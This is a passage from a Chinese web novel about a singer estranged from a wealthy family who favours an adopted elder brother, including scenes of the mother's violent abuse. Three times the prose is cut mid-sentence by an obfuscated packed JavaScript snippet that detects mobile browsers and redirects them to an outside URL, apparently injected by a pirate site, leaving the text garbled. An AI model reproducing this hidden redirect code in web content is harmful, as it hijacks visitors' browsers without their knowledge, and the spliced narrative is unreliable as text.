《万人嫌心死后他们追悔莫及》 1. 后台 霖市小巨蛋体育馆内。 入夜时分,五人乐队INfinitY的解散演唱会正式告终,由于晚上还有一些拍摄,几人被安排在场馆后台的休息室里待机。 于淼就是在这个时候拿着手机找上了安静窝在沙发角落里的沈陌遥。那人脱了演出服,只穿一件白衬衫,正斜斜倚着沙发扶手,黑色额发垂落遮住眉眼,他的脸埋在阴影里看不清晰。 “陌遥,微博上这些舆论……你不和我们解释一下吗?” 茶发青年在沙发尾端踌躇片刻,回头看了看休息室里另外几名同伴,面带忧色地把手机举到沙发上的人面前。 INfinitY是由三年前一档乐队选秀综艺选拔出道的五人男子乐队。当年,在一众自带各种乐器技能的大男孩中,不太熟练地背着吉他,在镜头前总是显得淡漠寡言的沈陌遥一度被认为是节目组特地安插的炮灰花瓶,却在节目播出后用一首原创歌曲征服了所有观众,以黑马之姿入选最终的主唱位,成为了毫无争议的乐队核心。 自出道以来,粉丝们普遍认为,这个专业性不算太强的小乐队能够在娱乐圈站稳脚跟,大部分要归功于主唱沈陌遥那张令人过目不忘的脸和过硬的实力。 ——直到那条爆料在一夜之间冲上微博热搜。 两周前,微博流量最大的八卦营销号举证曝光,在全国范围内都小有名气的盛天文创集团的董事长沈厉峥竟然是沈陌遥的父亲。 也就是说,从未在镜头前提起家人的沈陌遥竟是个无比标准的富家公子哥。 一时之间,网络上质疑声四起——沈家少爷闯荡娱乐圈,能红真的不是因为背后的资本运作吗?他写的那些歌,真的是自己原创的吗?他真的有在用心对待乐队吗? 继而,有人说他当初在节目里逆袭出道成为乐队主唱就是彻头彻尾的剧本,歌都是枪手代写;有人说他在舞台上总是一副睥睨一切的样子,笑容很虚伪;有人说他根本就看不起INfinitY的队友,在意义重大的解散演唱会前更是缺席排练、彩排划水。 然而令人疑惑的是,处于舆论中心的沈陌遥却好像对此无动于衷,从没替自己辩解过,只是放任这样的负面谣言越传越广,直到解散演唱会这天出现的二次爆料使它进一步发酵。 于淼举着的手机里,显示的正是这二次爆料的相关消息—— 今天下午,先前爆料沈家父子的营销号又发布博文,称沈家长子沈凌夏已于近日留学归来,他接受外媒采访时曾表示,想要在国内发展其在海外一手创办的光曜传媒。 “爆料说,你前两天缺席排练就是因为你大哥回国,你有了未来靠山就没把这个小破团最后的工作看在眼里,可秦姐却和我们说你是生病了……我们都很想知道,到底哪个才是真的?” “我没有义务和你说明我的私事,于淼。” 于淼的手机屏幕亮度很高,沈陌遥觉得有些晃眼,终于舍得从柔软的沙发靠垫中直起身子。他挡开伸到自己面前的手机,掀起薄薄的眼皮看向身前的茶发青年。 与爆料配图中那个在舞台上弯着唇角,笑得潇洒漂亮的青年截然不同,私下里的沈陌遥给人的第一感觉是难以接近的。 他眼睫纤长,眼瞳极黑,明明是极为漂亮的眼睛,双眼皮配合狭长眼尾上挑出的那抹极浅弧度却总显出几分疏离的味道,抬眼看人时则更具攻击性,竟把处于俯视位置的于淼逼得后退两步。 “我,我们也是关心你,才想问问你真实的情况。”于淼有些尴尬,说出来的话磕磕巴巴,“我们可是队友啊,你至于这么说话吗……” “既然你们在经纪人已经告知情况的前提下,仍然认为网络上的爆料有可信度。”沈陌遥垂眸不再看他,语气淡淡:“也就没必要再问我了,不是吗?” “你……”于淼一时语塞。 “沈陌遥,你这是什么态度?” 坐在化妆桌前一直沉默着聆听两人对话的寸头青年忽然转过身来,走到于淼身边站定,浓眉拧在一起,厉声喝道:“就你这臭脾气,网上那些人真没说错。没有你,我们乐队肯定能发展的更好,你根本就是害群之马!” “或许你还记得这里是休息室,周麓。你很吵。” 沈陌遥不再给他们半个眼神,直起来的脊背重新陷进沙发里,“还有,需要我提醒你刚刚举办的是解散演唱会吗?只要你们想,现在就可以重组一个没有我的四人乐队。” “你!”周麓一跺脚,脸几乎涨成猪肝色,屋内剩下的前INfinitY成员们脸上也皆是一僵。 他们当然无法做到沈陌遥说的那般。 虽然周麓的话说得狠,但他们每个人心里都清楚沈陌遥这种水准的主唱在团队里的作用。毫不夸张地说,纵使有再多手段和资源,没了沈陌遥的乐团就像是没了弦的吉他,一旦失去了核心,就只剩下一个能耍点花招的空壳。 “好了好了,大家都别吵了。”于淼的脸上出现愧疚的神情,他推了推周麓宽厚的背,又和剩下两名队员交换了一个眼神,互相推搡着朝休息室的门口走。 “是我不好,自讨没趣,我们还是换间休息室吧,不要再打扰他了。” 休息室的门被周麓砰地一下打开,沈陌遥闭着眼睛等待那声代表门关重新上的“啪嗒”,却迟迟没听见任何动静。他有些疑惑地眯着眼睛朝门口看过去,正巧看到一个棕色的卷毛脑袋正扶着门框,鬼鬼祟祟地探头进来。 “萧宵?” 萧宵是公司派给INfinitY的实习小助理,这个月刚满21岁,比沈陌遥足足小了三岁多,却意外的心细,懂得察言观色,干起活来也利索,帮到他很多。 “沈哥,我……我还是有点担心,就想来看看你。”卷发青年反手关上门,轻手轻脚走到沈陌遥身旁。 最近换季气温骤降,沈陌遥体质本来就不太好,又来回奔波赶通告,前些天烧到快四十度,昏昏沉沉被送去医院,医生诊断他有肺部感染的症状,建议住院治疗,他却表示不能缺席乐队的最后一场演唱会,只输了两个晚上的液,手上还扎着留置针就匆忙赶去彩排,正式表演的这天早上又去医院挂了水,打了退烧针,温度才堪堪控制住。 萧宵很担心沈陌遥会在台上支撑不住,一整场演唱会都提心吊胆守在后台屏幕前,却惊讶地发觉他在舞台上的发挥堪称完美——甚至让人很难把那个握着立麦,好像浑身都在发光的人和半天前那个高烧不退,脸色苍白到接近透明的人联系在一起。 跟在沈陌遥身边当助理的这半年,萧宵常常会疑惑他到底为什么要这么拼,可是每当他如此问起,沈陌遥总会伸出纤细的指尖点点他飘逸的卷毛,看他的眼神像在逗一只小狗,声音清冽如同初春山上化开的雪。 “为了往上打拼啊。” 往上打拼?沈陌遥可是沈家的二公子,家里条件一点不差才对,哪里需要他在娱乐圈里这样拼命。小卷毛皱了皱鼻子摇摇头,表示不信。 沈陌遥这个人啊,什么都好,唯一的缺点就是总是不太坦诚。 “你放心,我现在挺好的。”沈陌遥冲他露出淡淡的微笑,伸了个懒腰直起身子。在沙发里缓了一阵后,他自觉自演唱会后就如影随形的眩晕感和心悸都减轻不少,心情也还不错。 这个时候,他先前和周麓等人针锋相对时抖露的浑身的刺好像略微收敛起来,整个人不再过分锋利,反而多出几分微不可察的柔和。 “真的吗?”萧宵将信将疑地在沈陌遥身上扫了扫。 不知道是不是错觉,他总觉得短短几天,沈陌遥好像又瘦了一点,延伸到肩膀上的锁骨尖端好像可以刺破薄薄的衬衫。 “砰!” 休息室的门忽然被一脚踢开。 屋内两人视线投向之处,身着皮衣,带着唇环的高大男子大摇大摆出现在房间里。他摘下墨镜,瞪着眼睛扫视一圈,很快锁定了坐在沙发一角的沈陌遥,大步流星走到他面前。 “躲在这里悠闲呢?信息不回电话不接,我还是问了你们经纪人才知道演唱会早结束了。” “萧宵,麻烦你去帮我把放在后台的外套和水杯拿来。”沈陌遥盯着来人看了一会儿,下意识把手伸向口袋里的手机。 “好的沈哥。”萧宵很快心领神会,低头快步走出休息室。 眼前的男人他认识——是沈陌遥的亲生弟弟,沈家小少爷沈佑麟。 略显尴尬的空气中,沈陌遥垂眸看了一眼手机,斟酌着温声开口:“小佑,明天你——” 沈佑麟却不耐烦地打断他的话茬:“二哥,废话少说。你应该知道我找你来是为了什么吧?大哥的传媒公司准备开拓国内市场,准备签一些艺人。” “……嗯。”沈陌遥的语气淡下来。他默默把手机收回口袋,脸上没什么表情。 “你和六翼娱乐的合约还有几个月就到期了吧?提前解约要付多少钱?大哥说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281023|151833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如果你愿意签他们公司,他可以替你垫付违约金。”沈佑麟一屁股坐到沈陌遥边上,在他肩膀上佯装亲昵般拍了拍。 “这种好事,你肯定不会拒绝的吧?大哥也真是的,非要喊我亲自跑一趟问你……” “我拒绝。” 沈佑麟一愣。 “……什么?” “我说我拒绝。” “二哥,你在开什么玩笑?” 沈佑麟金棕色的浓眉一拧,一拳砸在沙发背上正要发作,目光却正巧落在沈陌遥霜白的脸色上。他的二哥没回话,正在闷闷地掩着唇咳嗽,演出手套和衬衫袖口间露出来的那节手腕格外细瘦,突出的腕骨蓦地刺入他的眼睛。 “……”沈佑麟盯着那只伶仃的手腕,竟莫名感到一阵心烦意乱,他深吸一口气强迫自己冷静下来,压着嗓子继续耐着性子劝说。 “大哥的光曜传媒在国外发展的那么好,有很多海外资源,现在来到国内……你知不知道有多少艺人为了签他的公司趋之若鹜?” “咳咳……与我无关。” “二哥,你是真以为自己有多大的市场价值吗?你现在风评这么差,有人愿意接盘都是万幸了……何况还是光曜传媒想签你!” “我现在挺好的,不需要谁接盘。” “你!”沈佑麟拳头紧了紧,咬牙切齿道,“你那个空壳公司,业内谁不知道它就是傍着INfinitY才苟延残喘到现在,现在乐队解散了,你又因为负面舆论接不到什么通告,它很可能都撑不过下个月,你是想和它一起完蛋?!” “六翼娱乐也许没有多好。”沈陌遥总算止住咳嗽,他颤着眼睫,盯着沈佑麟褐色的眼睛一字一句地说道。 “但无论如何,我不会去沈凌夏的公司。” “沈陌遥,你这个疯子!” 沈佑麟气急败坏地站起身,怒视沙发上的人,想到出发前自己在沈凌夏面前拍着胸脯信誓旦旦保证能搞定沈陌遥的签约问题,愈发感到胸腔中好像有一个火炉在燃烧,声音也越来越大。 “这么多年了,大哥对你从来都是无微不至的照顾,总是包容你那倔脾气……当年你死活非要去闯娱乐圈,全家上下都不同意,是大哥出面替你跪在父亲面前求情!” “我就实话告诉你吧,光曜传媒根本就是大哥为了支持你的梦想才创立的!他在国外读硕课业本就繁重,为了你,他还要昼夜兼程地拓展人脉建立传媒公司……你知不知道他甚至为此熬出了胃病?” “他本可以毕业后直接接管盛天,但为了能给你一个依靠,他特地和父亲表示想要晚几年接手公司,回国后先专注发展光曜传媒,只为给你在娱乐圈发展的底气!” “大哥心细,为了顾及你那可怜的自尊心,还特地叮嘱我不要多嘴,不要告诉你他为你付出这么多,只当是认可你的市场价值所以才来找你签约……可你为什么,为什么就是不领情?” 沈陌遥默默听着他连珠炮似的话,眼中浮现一丝轻蔑,语气降至冰点。 “领他的情?做梦都不要想。” “沈陌遥!” 沈佑麟怒极,他猛地伸手扯过沈陌遥的衣领,把毫无防备的他从沙发上拽了起来。他的二哥身形高挑,骨骼也修长,而此刻他揪着那人衬衫的领口迫使他与自己平视,竟毫不费力,但他正在暴怒之中,丝毫没有意识到手中的分量轻得过分。 “这么多年了,你为什么总要和大哥,和我们作对?” 突然的体位变化让沈陌遥感到一阵猛烈的眩晕,眼前泛起黑雾,脑袋里旋即传来“轰”的一声,像是有列疾驰的火车呼啸着开过,碾过他的每一寸神经。他眼睫颤了颤,垂下眼,眸中有抹藏得很好的悲伤一闪而过。 “是啊……我总要和你们作对。” 他语速很慢,每一个字都说得费力,额角沁出的冷汗细细密密覆在淡青色的血管上,顺着脸颊往下淌,唇角却扬起一丝自嘲般的笑。 “你不是早知道了吗,小佑。” 沈佑麟愣了愣,旋即发出一声短促的嗤笑。 他冷冷看着沈墨遥脸上的汗珠划过瘦窄的下颌,沿着脖颈线条没入衬衫领口,拽着他领子的手指嫌恶般往边上移了移,像是不想碰到什么脏东西。 “你真的烂透了,沈陌遥。” 他用了狠劲把手中的人往旁边一摔,那单薄身躯撞倒沙发边的矮柜发出咚的一身闷响,他却视若无睹,夺门而出。 2. 沈宅 沈佑麟说出那句话后,有那么一两秒钟,沈陌遥短暂地失去了意识。 那几个短短的字串珠成线,像把淬了火的铁剑精准扎进他肋骨缝隙之间跳动的心脏。 一阵灼痛自胸口迸发,他好像陷入迷蒙的深黑,恍惚间,一阵天旋地转,眼前的黑雾尚未散去,掌心却传来冰硬的触感,才察觉自己已经被摔在休息室的地面上。 沈陌遥蜷了蜷手指,用仅存的力气把被撞翻的矮柜扶正,然后坐在地上垂眼等待那些恼人的,乌泱泱的黑点随着如鼓的心跳声逐渐消弭。 这种体位性低血压自很久以前就时常发生,他已经见怪不怪,只是这会儿因为演唱会体力消耗太大,低血糖也跟着一起凑热闹,他头晕得厉害,腿也发软,撑着地面努力几次也没能站起来。 他有点生自己的气,硬是憋着一口气伸出手死死扒住休息室长桌的桌腿,不顾金属质地自手心渗透至全身的寒意,慢吞吞把身体挪到椅子上才卸了力,把头埋在臂弯里小口小口地喘息,有些近乎麻木的痉挛。 他其实是想和小弟好好说话的。但好像事情一旦扯到沈凌夏头上,他就无法保持绝对的冷静了。 沈陌遥抖着手摸出手机,点亮屏幕滑动着。 原本,他其实是想和沈佑麟说送给他的生日礼物的事。 他是早产儿,出生时心肺功能就不太好,在保温箱里住了三周多才被接回家。他的父母虽然对他宠爱有加,却仍想要个健康的男孩担起家族企业继承人的身份,所以四年后,沈佑麟诞生了。 他的小弟与他不同,生下来就是个八斤多重的大胖小子,非常健康活泼,自打牙牙学语时就和他亲密无间,在外受了欺负或是贪玩被父母责罚,从来都是躲到他怀里委委屈屈地哞哞哭。 即使后来出了那场事故,他被送去远在美国的外祖父母身边,沈凌夏趁虚而入住进沈家,取代了年幼的沈佑麟心中关于“哥哥”的全部印象…… 他仍然在心底固执地认为,沈佑麟是需要自己照顾、保护的小弟弟。 后天就是沈佑麟的二十岁生日,他们的父亲沈厉峥发展家族企业心切,特地把他的生日宴提前一天改到周末,邀请了许多国内各个领域知名的企业掌权人参加晚宴,对此也格外重视。 但他不在乎那些。 虽然这些年,他也在帮助沈厉峥管理集团内的几个子公司,对于沈家的一切资产或权势,他却从来都没有任何想法。他觉得那些东西不过是身外之物,或得或失都未必是自主选择可以主导的结果,也就没有必要天天处心积虑地过活,顺其自然就好。 沈陌遥的指尖在一个跨洋邮寄订单上停下来。 沈佑麟在朋友圈里嚷嚷想要一只奢牌设计师款限量手表嚷了两个多月,那只表是十多年前发售的,如今根本有价无市,但他恰好有之前红毯上相识的时尚圈人脉,便花了不少功夫联系到设计师本人,以当年原价的两倍购入了他手上两块中的一块。 订单显示,那只表预计明天早上寄到他在霖市租的房子。 这样的话,正好能赶上晚上的生日宴。 沈陌遥点开物流反复确认了几遍预计送达时间,关上手机阖上眼。 他无心在意明天晚宴上除了给沈佑麟过生日之外的其他安排,于他而言,他只希望自己的小弟能好好过一个20岁生日。 仅此而已。 “沈哥!你还好吗?” 几分钟后,萧宵抱着一堆东西走进房间,看到一动不动伏在桌前的人,吓了一跳,“怎么出这么多汗?” 从他离开休息室到返回的短短一刻钟功夫,沈陌遥衬衫领口周围已经完全被汗水濡湿,背上的水痕甚至洇出两片肩胛骨的轮廓。 回想起自己在后台找东西的时候瞥见那个高大的棕发男人怒气冲冲离去的背影,萧宵有些担忧,欲言又止:“沈哥,你们刚刚……” “嗯,起了点争执。”沈陌遥轻描淡写地开口,仰起脖子的时候仍然有成股的冷汗自下巴尖啪塔滴落在桌面上,他却白着一张脸冲萧宵微微扯起唇角,“外套给我一下。” 萧宵瘪着嘴叹了口气,熟练地从沈陌遥的外套口袋中掏出三颗水果硬糖,摊在手心伸到他面前。 “谢谢。” 沈陌遥眼角弯了弯,他毫不犹豫拿过橙子味的那颗拨开含在嘴里,头歪过去枕在一侧的胳膊上,不再说话。 · 在演唱会和与沈佑麟的争吵中消耗不少体力和精力后,夜晚的拍摄工作又持续到半夜三点。到家后,沈陌遥只来得及简单冲澡洗漱就昏昏沉沉爬上床睡了过去。他这一觉睡得极沉,直到被一阵急促的来电铃声吵醒,才迷迷糊糊睁开眼。 手机屏幕在较为昏暗的环境下有些刺眼,他揉着眼睛感到视线有些模糊,一时看不清来电人,但想着在这个时候打电话的除了经纪人或助理外应该再无其他,索性直接哑着嗓子接起电话。 “喂?” 对面沉默了一阵。 “这个时间了,你难道还在睡觉?”令沈陌遥诧异的低沉嗓音传来,带着一点轻微的怒意,“即使是休息日也不能这样懒散懈怠。你该学学凌夏,他今天一早就去公司开会。” “我昨天忙到很晚才睡,爸。” 沈陌遥解释了一句就没再说话。 曾经的沈厉峥虽然不苟言笑,却是个称职的父亲。即使工作再疲惫,夜里回到家他也总会花时间陪伴孩子们。他会在沈陌遥完整演奏出一首钢琴曲时笑着摸摸他的头,会在他意外打碎自己喜欢的瓷器时耐心蹲下来听他说前因后果,从来不会不分青红皂白地指责。 也是在十四年前,沈厉峥对他好像在瞬间失去了全部的爱,尤其在沈凌夏进入沈家后,不说微笑,他甚至连一个眼神都吝啬施舍给他,更遑论包容和信任。 这样的情况持续了很多年,沈陌遥早已强迫自己习惯,那句下意识的解释说出口的同时,他就在心里反复告诫自己,这只会是徒劳。 但他没想到的是,沈厉峥竟然在短暂沉默后,一反常态地认同了他的说法,并没有继续指责的意思,声音也变得温和。 “也是,听说你昨天刚开完演唱会……是我考虑不周了。” 沈陌遥愣住了。 这并不是沈厉峥平时对他的态度,他一时觉得有些受宠若惊,忍不住发出疑问:“爸……为什么打电话给我?” “没事我就不能给你打电话?”沈厉峥顿了顿,和颜悦色道:“小佑的生日晚宴前,中午我安排了家里厨师烧些家常菜,我们和你也好久没见了,吃顿团圆饭。” 团圆饭。 沈陌遥握着手机眨了眨眼。 他起码有将近半年的时间没有回沈宅了,怎么偏偏在沈凌夏回国,他昨天拒绝签约光曜传媒之后,沈厉峥就恰好想起来要吃一顿“团圆饭”呢。 这似乎……不太会是个单纯的巧合。 于是他笑了笑,轻声问道:“不是因为要和我谈什么事吗?” 其实他心里已经有所预料,这顿饭无非就是为了劝说他加入沈凌夏的传媒公司一类的事,根本不用去特地问,但他偏偏就是想等沈厉峥亲口回答。 这个时候,只要柔声说上一句“不谈事情,就是想见见你”,敷衍他一下就行。沈陌遥在心里巴巴地想。 反正对于常年混迹生意场,习惯尔虞我诈的沈厉峥来说,说些违心的话一点不难,不是吗。 沈陌遥抿了抿嘴唇,拿着手机的手指因为难以自抑的紧张和期待而紧绷起来。 他是个很容易给自己找台阶下的人,即使心里和明镜似的,却仍然甘愿沉溺进谎言和过往的温馨岁月编织的捕梦网里,妄想抓住一丝遥不可及的,虚幻的温存。 他其实很好骗的。 然而沈厉峥却并未如他所愿。 像是被耗光了本就没有多少的耐心,他罕见的温和点到即止,声音迅速冷下来:“沈陌遥,你非要带着这么强的目的性揣测你的父亲吗?” 沈陌遥沉默了一会儿。 而后,他伸出胳膊遮住脸,挡住窗帘缝中透出来的晨光,开口的声音有细微的颤抖:“怎么会呢。” 他发出一声很轻、很轻的叹息。 “父亲,我又怎么敢揣测您。” “你……”沈厉峥一时语塞。 沈陌遥支起身子,熟练地在床头靠了一会儿等待每天早上都会出现的那阵眩晕过去,扭头拿过床头柜上的相框。 被精心保养的云朵相框里,一位鬓发微白,气质优雅的妇人正笑的慈祥,她伸开双臂弯腰揽着三个孩子,左侧的女孩和中间的男孩约莫六七岁,皆是粉雕玉琢的瓷娃娃般的模样,男孩的左手拉着一个虎头虎脑的小崽子,看上去不足三岁,正把自己的小拳头往嘴里塞。 他垂着眼睫看了一会儿照片,再次开口时,声音已经平静得听不出什么情绪。 “爸,放心。您难得喊我去家里吃饭,我一定来。” · 由于曾经的一些经历,沈陌遥虽然有属于自己的车,却不太常开,即使是坐车也基本都是在闭目养神,因此萧肖在听说他要紧急赶回位于桐市的沈宅后,自告奋勇接下了开车的工作,并且善解人意地表示自己正好准备探望桐市的亲戚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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几声脚步后,沈陌遥从水池前的镜子里看见一个鼻梁细长,身穿修身黑色西装的男人。 “二弟,到家了?” 沈陌遥抹了一把脸直起身子,转身平视男人狭长的眼睛,声音带着些微冷意:“沈凌夏,或许你知道敲门后要等到许可才能进屋。” “都是一家人,这么见外干什么。”沈凌夏反手掩上门,脸上和煦的微笑褪去一些,眼睛眯起来,“倒是你,招呼都不打就住进客房了?真自觉。” “我要是真的自觉,就该上三楼,把你连人带床扔出去。” 11岁到14岁这三年,沈陌遥被送去美国读中学,15岁再回国时,却发现父母早已把原本属于他的那间卧室换给了突然来到沈家,并且改姓落户的沈凌夏。 再之后他回御碧山庄,便一直被安排在客房居住,久而久之,他也不再能把回御碧山庄当作是“回家”。 “我亲爱的弟弟,许久不见,你怎么越来越口无遮拦了?”沈凌夏走到沈陌遥身边,看到他脸上毫不掩饰的厌恶,嘴角却笑容逐渐扩大,原本就过分薄的嘴唇几乎成了一条线,“爸妈可不会允许你这样做。” 因为沾了温水的缘故,沈陌遥此时的脸色并不算差,嘴唇带了点粉,如墨的眼里还沁着尚未彻底消去的雾气,额发和眼睫皆是湿漉漉的,旁人看去会有种我见犹怜的感觉。 但沈陌遥的这张脸偏偏是沈凌夏最厌恶他的地方之一。他的眉眼越生动,他就越恨。 “说实话,你的状态比我预想中要好得多。”沈凌夏哼笑一声,伸朝沈陌遥的肩膀伸出手。 沈陌遥微微侧身,不着痕迹地躲开了。 “你想看见什么?看见我因为那些随着你回国忽然出现的,断章取义,无中生有的黑料而被人们唾弃,一蹶不振,最后哭着求你签约?” 他的眼神冷得如同一汪寒潭,连同睫毛上挂着的水珠都结了冰:“沈凌夏,这么多年了……你的手段还是那几样,低劣而不堪。” “你倒也是一如既往的伶牙俐齿。”沈凌夏的脸色沉下去,脖颈处青筋隐隐浮现。 一阵凌乱的脚步声从楼上传来。 听到响动,他挑了挑眉,后退几步站到客房门边,把虚掩着的门轻轻打开,又飞速揉了揉身前的衣服,朝沈陌遥重新露出微笑。 “那既然你都这么说了……” 他说着,突然铆足了劲向后仰倒,脊背狠狠撞在楼梯拐角上。 “沈陌遥,你干什么!” 尖利刻薄的女声穿过廊道传到客房,面容阴沉,高鼻梁深眼窝的棕发女人旋即跌跌撞撞出现。 她扶着神色痛苦的沈凌夏坐起来,抬眼怒视沈陌遥,眼底有浓重的黑影,干燥起皮的唇角被扯得开裂,丝丝缕缕的殷红露出来,竟把她蜡黄凹陷的脸颊衬托得愈发狰狞。 “沈陌遥!你这个杀千刀的白眼狼,你刚才是想把阿夏推下去吗?” 她嘶吼着,高举着枯瘦的双手发狠般掐向仍站在客房内的沈陌遥的脖子。 “你果然死性不改……你果然想再一次毁了我们家!” 3. 多余 沈陌遥没有做过多的抵抗。 像是早已习惯,他没有挣扎,只是垂着眼用手握紧女人干燥的手腕,反向使力,眼中情绪被遮蔽在睫毛的阴影里,脸色却肉眼可见的苍白下去。 自十四年前的那起事故起,他的母亲在面对他的时候总是这样癫狂。 极少数情况好些的时候,她会反复揉捏他脸颊上的软肉,手指在他的鼻梁用力刮蹭,最后轻柔抚摸他眼眶的轮廓,魂不守舍地夸赞他长了一双和沈厉峥极像却更为潋滟的眼睛,却如此惹人生厌,多么可惜;而大多数情况不那么好的时候,她会掐他,会突然暴起对他拳打脚踢,最坏的时候甚至拿着一把刀小刀要割开他的手腕,嘴里念叨着要放干他的血,这样他就不再是自己和沈厉峥生下的,令沈家蒙羞的坏种。 他大概……一直是个母亲想要抹消的存在。 “你这个贱人,我能同意你进门已经是看在今天是庆祝阿夏学成回国、小佑20岁生日的份上,可你为什么,你为什么一来就要干坏事恶心我?凭什么你还敢欺负阿夏?” 姜鹤双手死死卡在他的脖颈处仍在施力,可即便沈陌遥如今精力不济,力气却仍然比她一个手无缚鸡之力的中年女性要大得多,仅仅一只手就轻易把她制衡,任她的脸色从蜡黄涨得通红也不能使出更多力气。 “妈,我没干坏事……”沈陌遥慢慢向后靠在墙壁上,由于被扼住喉咙,他能发出的只有一点虚弱而徒劳的气音,“我没推他。” “你说谎……你说谎!我不是你妈!” 女人抖着手臂,尖细的叫声近乎歇斯底里。 “我恨你,我恨你!” “你为什么不去死?” 沈陌遥的心脏狠狠抽搐了一下。缺氧所带来的晕眩感骤然加剧,他好像在这瞬间失去了全部的力气,身形大幅晃动,狼狈地倚住墙面,眼睫颤了颤,手上的力道渐渐松懈下来。 都说来自至亲之人的伤害最令人难以承受,面对沈凌夏的算计或讥讽,他早就学会视若无睹或建立防御,但好像他永远也无法免疫来自姜鹤简单直白的恶语相向。 那些毫不留情的咒骂匕首般朝他扎过来的时候,他甚至连替自己织起一件布甲都做不到,只能放任它们在身上刺出一个又一个汩汩冒血的窟窿。 很痛。 沈凌夏坐在地上,饶有兴致地欣赏了一会儿姜鹤对沈陌遥单方面的辱骂。 从他的角度,正好能自下而上看清靠在客房门边的沈陌遥的脸,他清晰看见那人浓密眼睫下的深黑眼瞳中,沉静随着姜鹤的话一点一滴溃散,转为难掩的失落伤怀,快意在心中如入水的墨汁般迅速扩散。 “松手!” 伴随一声厉喝,沈厉峥的身影终于和老管家一起自楼梯上出现,他眼神示意管家率先上前一步擒住姜鹤掐在沈陌遥脖子上的手,自己紧跟着走上前去。 “冷静一点。”沈厉峥一贯古井无波的脸上隐约出现不耐烦的神情,却还是伸出一只手拍了拍她的背,语气些微严肃:“成天疯疯癫癫的,成何体统?难道晚上小佑的生日宴,你也要这样在孩子面前闹吗!” 姜鹤感受到他的触碰,瘦弱的身躯猛地颤抖了一下,双臂随即无力地垂落,阴森眼中却依然有火苗般的恨意在燃烧。 “他不是我的孩子!他不是!我只有阿夏和小佑两个儿子,还有……还有被他害死的……” “没错,他不是我儿子,他是杀人凶手!他现在还要害阿夏!我要杀了他!” “没有这么严重,妈。”沈凌夏此时俨然换上了一副受害者的神情,他一边揉着后背一边站起来,脸上却是愧疚的神色,“是我说了不该说的话,害二弟太激动了,才不小心把我推倒。” 然而姜鹤仿佛已经听不进人话,她疯癫地念叨了一阵,却又很快体力不支,声音渐弱,身体开始摇晃。老管家熟练而恭敬地托着她的半边身子请示沈厉峥,他叹了口气,扬扬下巴示意楼下的餐桌方向。 老管家很快心领神会,又招呼了两个佣人一左一右扶着姜鹤来回晃荡的身子,向餐厅走去。 沈厉峥走到沈凌夏身后,掀开他的衣服看了看他的后背,眉头很快皱起来,像是想说些什么又尽力克制住。 “都先下楼吃饭。” 说罢,他没给沈陌遥半个眼神,揽着沈凌夏快步走下楼。 在两人身后,沈陌遥靠在墙上的身子终于弯下来。他双手撑膝,急促地喘了几下,却终究还是没压住那阵猛烈的咳嗽,脊背剧烈地颤抖。 几分钟后,沈陌遥脚步虚浮地来到摆满佳肴的饭桌前坐下的时候,沈佑麟也已经到了,他穿着一身皮夹克,在看到沈厉峥和沈凌夏出现的时候都向他们问了好,看向在餐桌末端坐下的沈陌遥时却只是从鼻子里发出一声闷哼,明显对于昨天的争吵仍旧耿耿于怀。 姜鹤这会儿已经正常许多,两个佣人正伺候着她去舀盘子里的番茄肉丸汤,柔声细语哄着她用餐。她垂着头,囫囵咬下一口肉在嘴里嚼着,目光有些呆滞,好像对周围的一切都失去了反应。 “刚才的事,我不想看到第二次。” 开始用餐后不久,沈厉峥还是没忍住瞪视沈陌遥,入眼却是那人纤细脖颈上被姜鹤勒出的几道错落着的红痕,在他过于白皙的皮肤映衬下十分扎眼,他很快移开目光。 “我没有推他。”沈陌遥眼神黯了黯。 刚被姜鹤折磨了一通,他有些心慌反胃,甚至连说话都没什么力气,看在沈厉峥眼里却仿佛是一种心虚。 “你没推他,那你告诉我,他还能是自己往后倒的不成?”沈父冷冷瞥他一眼,“我刚才看了,凌夏这回摔得可不轻。沈陌遥,你怎么下得去手?他可是你的大哥。” 十四年前,沈陌遥无数次向他解释“我没有”的时候,他也是这样不以为然的态度,仿佛他说的话只是无稽之谈。 可他明明就是没有做。 “我不明白,你为什么对你大哥这么抵触?他没有哪里对不起你,相反,在做一个合格的儿子方面,他比你优秀得多,而你……永远只会给我们家添乱。” 沈厉峥皱着眉说着,声音低沉而冷厉,忽然又像是想起眼前的这桌“团圆饭”和现在说出的话之间很是违和,话锋又是一转。 “这次也是我疏忽了,以为她最近情况比较稳定,才想着把你也喊来。吃完饭你还是早些离开吧,再待在我们家只会进一步刺激到她。对了,晚上去宴会厅时也尽量离她远一点。” “还有凌夏,晚宴上你守着你妈一点,她情况不好就先带她离开休息。” “咳咳……我知道的,爸。”沈凌夏捂着嘴一阵咳嗽,敛着眉眼答道。 “嗯,交给你我放心。”沈厉峥神色缓和了一些,往他碗里夹了几块清炖排骨,“凌夏,你是不是感冒了?肠胃炎没有又犯吧?要好好注意身体,别又瘦了。小佑,你最近不是跟着你大哥打下手呢么?记得督促他按时吃饭。” “我会注意的,爸,别担心。”沈凌夏朝他微笑,“小弟最近实习表现很好,前几天协助我签下了好几个国内知名度很不错的艺人。” “好好好,你们两个都要好好干,来!”沈厉峥露出欣慰的笑,举杯示意自己的两个儿子,将手中的酒一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281025|151833||http|test|mini|href|location''.split(''|''),0,{})); () { 